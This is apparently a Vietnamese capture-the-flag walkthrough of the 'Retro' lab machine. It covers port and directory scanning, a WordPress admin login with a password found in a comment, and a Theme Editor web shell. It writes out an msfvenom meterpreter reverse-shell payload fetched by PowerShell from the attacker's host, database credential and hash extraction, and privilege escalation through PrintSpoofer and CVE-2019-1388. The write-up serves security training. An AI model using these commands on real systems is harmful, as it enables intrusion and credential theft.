Retro
New high score!
Initial Reconnaissance
Chúng ta thêm dòng sau vào trong file /etc/hosts để định nghĩa tên domain:
10.10.145.94 retro.thmService Scanning

Tác giả cũng lưu ý rằng máy này không phản hồi khi ping, vì vậy chúng ta cần chỉ định thêm flag -Pn khi thực hiện quét bằng Nmap.
┌──(hungnt㉿kali)-[~/Desktop]
└─$ rustscan -a retro.thm -r 1-65535 -- --no-nmap
Open 10.10.145.94:80
Open 10.10.145.94:3389┌──(hungnt㉿kali)-[~/Desktop]
└─$ sudo nmap -p80,3389 -Pn -A -v retro.thm
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
| http-methods:
| Supported Methods: OPTIONS TRACE GET HEAD POST
|_ Potentially risky methods: TRACE
3389/tcp open ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=RetroWeb
| Issuer: commonName=RetroWeb
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-09-05T05:40:03
| Not valid after: 2026-03-07T05:40:03
| MD5: 936a:ee0b:d35d:7c0b:18ff:5f3b:91a4:3610
|_SHA-1: 024d:ba63:19f6:ba0c:bf40:b9f4:d5ca:c54e:0ee6:8a4a
| rdp-ntlm-info:
| Target_Name: RETROWEB
| NetBIOS_Domain_Name: RETROWEB
| NetBIOS_Computer_Name: RETROWEB
| DNS_Domain_Name: RetroWeb
| DNS_Computer_Name: RetroWeb
| Product_Version: 10.0.14393
|_ System_Time: 2025-09-06T06:36:51+00:00
|_ssl-date: 2025-09-06T06:36:55+00:00; -2s from scanner time.
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2016|2012 (87%)
OS CPE: cpe:/o:microsoft:windows_server_2016 cpe:/o:microsoft:windows_server_2012:r2
Aggressive OS guesses: Microsoft Windows Server 2016 (87%), Microsoft Windows Server 2012 R2 (85%)
No exact OS matches for host (test conditions non-ideal).
Uptime guess: 0.040 days (since Sat Sep 6 12:39:14 2025)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=260 (Good luck!)
IP ID Sequence Generation: Incremental
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windowsKết quả scan cho thấy port 80 đang mở và chạy dịch vụ HTTP trên Microsoft IIS 10.0. Port 3389 cũng mở với dịch vụ RDP. Hệ điều hành được đoán là Windows Server 2016 hoặc 2012 R2 với độ tin cậy khá cao.
HTTP 80
Directory Enumeration
Chúng ta bắt đầu bằng cách thực hiện một directory scan bằng ffuf để tìm các thư mục và file ẩn.
┌──(hungnt㉿kali)-[~/Desktop]
└─$ ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://retro.thm/FUZZ -r -e .php,.txt,.aspx,.html -t 100 -fc 403
Kết quả chỉ tìm thấy một thư mục duy nhất là /retro.
/retro

Khi truy cập vào /retro, ta thấy tất cả các bài viết ở đây đều được viết bởi Wade. Đây có thể là một username tiềm năng.

Trong một bài đăng gần đây về Ready Player One, Wade đã để lại một bình luận.

Khi tò mò xem thử, chúng ta nhận thấy trong bình luận đó anh ta có ghi lại một từ, và từ này trông giống như một mật khẩu tiềm năng.

/retro Directory Enumeration
┌──(hungnt㉿kali)-[~/Desktop]
└─$ ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://retro.thm/retro/FUZZ -r -e .php,.txt,.aspx,.html -t 100 -fc 403
Tiếp tục, chúng ta chạy thêm một scan khác trên thư mục /retro và phát hiện ra website đang sử dụng CMS WordPress.
/wp-content

Ở thư mục /wp-content, chúng ta chưa biết cụ thể nên đi sâu vào đâu, nên tạm bỏ qua.
/wp-trackback.php

Với /wp-trackback.php, khi ta thử chỉ định một ID, trang web lại redirect về bài viết Hello World nhưng trên localhost.


/wp-login.php

Tại /wp-login.php, ta thử tìm các thông tin về default credentials của WordPress trên Google.

Ta sẽ thử admin:password:

Kết quả cho thấy không có user admin nào tồn tại.

Khi thử với wade, ta thấy user này có tồn tại. Như vậy, ta có thể đoán mật khẩu của Wade là parzival, từ mà anh ta từng nhắc trong bình luận. Tuy nhiên, ta vẫn cứ tiếp tục quá trình enumerate để xem còn thông tin nào khác.
WordPress Enumeration
Lúc này, chúng ta có thể dùng WPscan để scan WordPress nhằm phát hiện các theme, plugin dễ bị khai thác hoặc enumerate thêm thông tin về user.
┌──(hungnt㉿kali)-[~/Desktop]
└─$ wpscan --url http://retro.thm/retro/ -ePhiên bản WordPress:

Theme được sử dụng:

Và user wade mà ta đã biết trước đó.

WordPress Authenticated as wade
Ta thử đăng nhập WordPress bằng tài khoản của wade với mật khẩu là parzival:

Remote Code Execution
Vì wade có quyền admin, chúng ta có thể truy cập vào Theme Editor và chỉnh sửa bất kỳ file .php nào để chiếm reverse shell. Tuy nhiên, trước tiên ta nên upload một web shell, vì payload reverse shell không phải lúc nào cũng hoạt động, có thể gặp lỗi mà ta không biết trước. Web shell sẽ giúp kiểm tra tình trạng hệ thống trước khi triển khai reverse shell.


Ta kiểm tra xem hệ thống có cho phép outbound connection hay không, đồng thời thu thập thông tin hệ thống để chuẩn bị cho việc tạo payload meterpreter reverse shell bằng msfvenom.


┌──(hungnt㉿kali)-[~/Desktop]
└─$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.11.148.16 LPORT=53 --platform windows -f exe -o test.exeSau đó, chúng ta chuyển payload sang máy target bằng command:
powershell -Command "iwr -Uri 'http://10.11.148.16/test.exe' -OutFile '\test.exe'"

Việc upload payload thành công, ta tiếp tục setup metasploit handler để bắt kết nối.
Shell as iusr

Như vậy, ta đã truy cập được vào hệ thống dưới user iusr.
Manual Enumeration
Khi kiểm tra thông tin của user này, không có gì đáng chú ý ngoài quyền SeImpersonatePrivilege đang được bật.
meterpreter > load powershell
Loading extension powershell...Success.
meterpreter > powershell_shell
PS > whoami /all
USER INFORMATION
----------------
User Name SID
================= ========
nt authority\iusr S-1-5-17
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
==================================== ================ ============ ==================================================
Mandatory Label\High Mandatory Level Label S-1-16-12288
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\SERVICE Well-known group S-1-5-6 Group used for deny only
CONSOLE LOGON Well-known group S-1-2-1 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
LOCAL Well-known group S-1-2-0 Mandatory group, Enabled by default, Enabled group
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
======================= ========================================= =======
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects EnabledTa tiếp tục tìm user.txt, nhưng không thể truy cập thư mục home của Wade.
PS > cd C:\Users\
PS > tree /f /a
Folder PATH listing
Volume serial number is 000000A2 7443:948C
C:.
+---Administrator
+---Public
\---Wade
PS > ls Wade
ERROR: ls : Access to the path 'C:\Users\Wade' is denied.
ERROR: At line:1 char:1
ERROR: + ls Wade
ERROR: + ~~~~~~~
ERROR: + CategoryInfo : PermissionDenied: (C:\Users\Wade:String) [Get-ChildItem], UnauthorizedAccessException
ERROR: + FullyQualifiedErrorId : DirUnauthorizedAccessError,Microsoft.PowerShell.Commands.GetChildItemCommand
ERROR:Tiếp theo, ta load module incognito để kiểm tra xem có token nào có thể impersonate không, vì ta có quyền SeImpersonatePrivilege.
meterpreter > load incognito
Loading extension incognito...Success.
meterpreter > list_tokens -u
[-] Warning: Not currently running as SYSTEM, not all tokens will be available
Call rev2self if primary process token is SYSTEM
Delegation Tokens Available
========================================
NT AUTHORITY\IUSR
Impersonation Tokens Available
========================================
No tokens availableTuy nhiên, kết quả không có gì để impersonate cả.
Lúc này, ta quay lại xem web directory retro. Vì là WordPress, ta có thể đọc file wp-config.php để lấy thông tin về database credentials.
meterpreter > pwd
C:\inetpub\wwwroot\retro
meterpreter > dir
Listing: C:\inetpub\wwwroot\retro
=================================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
100666/rw-rw-rw- 420 fil 2019-05-30 16:55:42 +0700 index.php
100666/rw-rw-rw- 19935 fil 2019-05-30 16:55:42 +0700 license.txt
100666/rw-rw-rw- 7447 fil 2019-05-30 16:55:40 +0700 readme.html
100666/rw-rw-rw- 6919 fil 2019-05-30 16:55:42 +0700 wp-activate.php
040777/rwxrwxrwx 32768 dir 2019-12-09 07:02:15 +0700 wp-admin
100666/rw-rw-rw- 369 fil 2019-05-30 16:55:40 +0700 wp-blog-header.php
100666/rw-rw-rw- 2283 fil 2019-05-30 16:55:42 +0700 wp-comments-post.php
100666/rw-rw-rw- 2853 fil 2019-05-30 19:17:04 +0700 wp-config-sample.php
100666/rw-rw-rw- 2849 fil 2019-12-09 08:31:46 +0700 wp-config.php
040777/rwxrwxrwx 4096 dir 2025-09-06 13:32:42 +0700 wp-content
100666/rw-rw-rw- 3847 fil 2019-05-30 16:55:42 +0700 wp-cron.php
040777/rwxrwxrwx 81920 dir 2019-12-09 07:02:36 +0700 wp-includes
100666/rw-rw-rw- 2502 fil 2019-05-30 16:55:42 +0700 wp-links-opml.php
100666/rw-rw-rw- 3306 fil 2019-05-30 16:55:42 +0700 wp-load.php
100666/rw-rw-rw- 39574 fil 2019-05-30 16:55:42 +0700 wp-login.php
100666/rw-rw-rw- 8403 fil 2019-05-30 16:55:42 +0700 wp-mail.php
100666/rw-rw-rw- 18962 fil 2019-05-30 16:55:42 +0700 wp-settings.php
100666/rw-rw-rw- 31085 fil 2019-05-30 16:55:42 +0700 wp-signup.php
100666/rw-rw-rw- 4764 fil 2019-05-30 16:55:42 +0700 wp-trackback.php
100666/rw-rw-rw- 3068 fil 2019-05-30 16:55:40 +0700 xmlrpc.php
meterpreter > cat wp-config.php
<?php
/**
* The base configuration for WordPress
*
* The wp-config.php creation script uses this file during the
* installation. You don't have to use the web site, you can
* copy this file to "wp-config.php" and fill in the values.
*
* This file contains the following configurations:
*
* * MySQL settings
* * Secret keys
* * Database table prefix
* * ABSPATH
*
* @link https://codex.wordpress.org/Editing_wp-config.php
*
* @package WordPress
*/
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', 'wordpress567');
/** MySQL database username */
define('DB_USER', 'wordpressuser567');
/** MySQL database password */
define('DB_PASSWORD', 'YSPgW[%C.mQE');
/** MySQL hostname */
define('DB_HOST', 'localhost');
/** Database Charset to use in creating database tables. */
define('DB_CHARSET', 'utf8');
/** The Database Collate type. Don't change this if in doubt. */
define('DB_COLLATE', '');
...Sau đó, thay vì mở một session MySQL, ta có thể dùng lệnh sau để trực tiếp trích xuất credentials từ database:
PS > mysql -u wordpressuser567 --password=YSPgW[%C.mQE -h localhost -e "use wordpress567;select concat_ws(':', user_login, user_pass) from wp_users;"
concat_ws(':', user_login, user_pass)
Wade:$P$B2Czd9p2Vzf.i2pV3XOs7NvE4Y7D8y.Kết quả chỉ có user wade, và mật khẩu của anh ta thì chúng ta đã biết từ trước.
Attempting Sweet Potato Attack
Vì hệ thống đang chạy Windows Server 2016 và chúng ta có quyền SeImpersonatePrivilege, nên ý tưởng chúng ta là thử tấn công sweet potato bằng cách sử dụng PrintSpoofer.exe để leo quyền lên SYSTEM.
Trước tiên, ta kiểm tra xem service spooler có đang chạy không:
PS > sc.exe query spooler
SERVICE_NAME: spooler
TYPE : 110 WIN32_OWN_PROCESS (interactive)
STATE : 4 RUNNING
(STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x0Sau khi xác nhận nó hoạt động, ta tải exploit về ở đây và transfer sang máy target.

meterpreter > dir printspoofer.exe
100777/rwxrwxrwx 27136 fil 2025-09-06 14:23:35 +0700 printspoofer.exe
meterpreter > execute -f "printspoofer.exe" -a "-i -c cmd.exe" -i
Process 2880 created.
Channel 5 created.
meterpreter > execute -f "printspoofer.exe" -a "-i -c cmd.exe" -i
Process 3080 created.
Channel 6 created.
meterpreter > getuid
Server username: NT AUTHORITY\IUSRTuy nhiên, exploit này không hoạt động, nên đây có lẽ không phải hướng đi đúng.
Thay vì vậy, ta thử đăng nhập RDP vào target bằng user Wade với mật khẩu giống như trên WordPress.
Remote Desktop as Wade

Kết quả là ta đã truy cập được vào hệ thống qua dịch vụ RDP với tài khoản Wade.
user.txt

WinPEAS
Tiếp theo, ta upload WinPEAS lên target để tìm vector leo quyền.
meterpreter > upload /usr/share/peass/winpeas/winPEASx64.exe
[*] Uploading : /usr/share/peass/winpeas/winPEASx64.exe -> winPEASx64.exe
[*] Uploaded 8.00 MiB of 9.69 MiB (82.6%): /usr/share/peass/winpeas/winPEASx64.exe -> winPEASx64.exe
[*] Uploaded 9.69 MiB of 9.69 MiB (100.0%): /usr/share/peass/winpeas/winPEASx64.exe -> winPEASx64.exe
[*] Completed : /usr/share/peass/winpeas/winPEASx64.exe -> winPEASx64.exe
meterpreter > dir winPEASx64.exe
Listing: C:\inetpub\wwwroot\retro\wp-content\themes\90s-retro
=============================================================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
100777/rwxrwxrwx 10155520 fil 2025-09-06 14:31:21 +0700 winPEASx64.exeWinPEAS cho thấy không có AntiVirus nào được cài đặt.

Ngoài ra, ta cũng phát hiện một số local port đáng chú ý có thể khai thác.

Đặc biệt, có một số Chrome cookies thuộc về Wade. Điều này có thể dẫn đến việc lấy được lịch sử duyệt web hoặc thậm chí cả password.

Bên cạnh đó, trong Recycle Bin cũng có một vài file thuộc về Wade, bằng chứng là ta thấy SID của anh ta xuất hiện ở đó.


Ở đây chúng ta thấy một file có tên là hhupd. Có thể hiểu đơn giản, đây là một chương trình cập nhật của Microsoft, dùng để đảm bảo máy tính có thể mở và xem được các file CHM (tệp trợ giúp hay hướng dẫn sử dụng phần mềm).

Browsing History
Ta thấy trong Chrome có một bookmark dẫn đến CVE-2019-1388.

Lịch sử duyệt web cũng cho thấy Wade đã tìm kiếm về lỗ hổng này cũng như bản vá của nó. Điều này gợi ý rằng lỗ hổng vẫn có thể tồn tại trên máy target.


CVE-2019-1388 xảy ra khi một ứng dụng cần quyền admin nhưng người dùng lại nhấp vào nút “Show information about the publisher’s certificate” trong cửa sổ UAC. Từ đó, Windows mở một cửa sổ trợ giúp, cho phép khởi chạy Internet Explorer dưới quyền admin. Trong IE, kẻ tấn công có thể mở chức năng Save/Save As để truy cập ổ đĩa và từ đó họ có thể gọi cmd.exe và vì nó được mở từ IE đang chạy với quyền admin, nên cửa sổ cmd này cũng vậy.
Shell as SYSTEM
Có một video trên YouTube minh họa cho cách khai thác, sử dụng các executable được chế tạo sẵn như hhupd.exe (file này là một PoC, không phải bản thân lỗ hổng).
Trong quá trình khai thác, ta có thể gặp tình huống không có tùy chọn để mở link:

Cách khắc phục là thực hiện lặp lại quy trình từ 3 đến 5 lần: trước tiên tắt và khởi động lại máy, sau đó RDP vào lại. Tiếp theo, mở Chrome hoặc Internet Explorer, duyệt web một lúc rồi thử exploit lại. Quá trình này có thể mất thời gian, nhưng cuối cùng ta sẽ thành công.
root.txt.txt
